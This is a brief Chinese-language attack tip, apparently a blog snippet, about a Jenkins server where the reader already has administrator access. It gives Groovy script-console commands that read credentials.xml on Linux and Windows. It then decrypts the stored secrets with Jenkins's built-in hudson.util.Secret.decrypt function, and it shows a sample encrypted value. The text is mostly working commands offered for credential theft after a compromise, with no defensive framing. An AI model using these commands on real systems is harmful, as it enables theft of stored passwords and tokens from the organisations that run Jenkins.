当你登入jenkins,发现虽然有管理员权限,但是在脚本执行处执行命令后发现命令执行的权限很低或者机子上面有杀软不好做下一步操作的时候,就可以使用这个命令:
println "cat credentials.xml".execute().text或者是println "cmd /c type credentials.xml".execute().text
如果这个时候显示没找到文件可以尝试
cat $JENKINS_HOME/credentials.xml(linux)
type %JENKINS_HOME%/credentials.xml(windows)
这个时候就可以看到有许多类似于:{AQAAABAAAAAQkZVQA/LNTRYnWBibiMI4hFjO2HcNNME8jkDLA/kGVEc=}
的加密字符串,我们可以利用jenkins自带的解密函数来解密
println hudson.util.Secret.decrypt("{AQAAABAAAAAQkZVQA/LNTRYnWBibiMI4hFjO2HcNNME8jkDLA/kGVEc=}")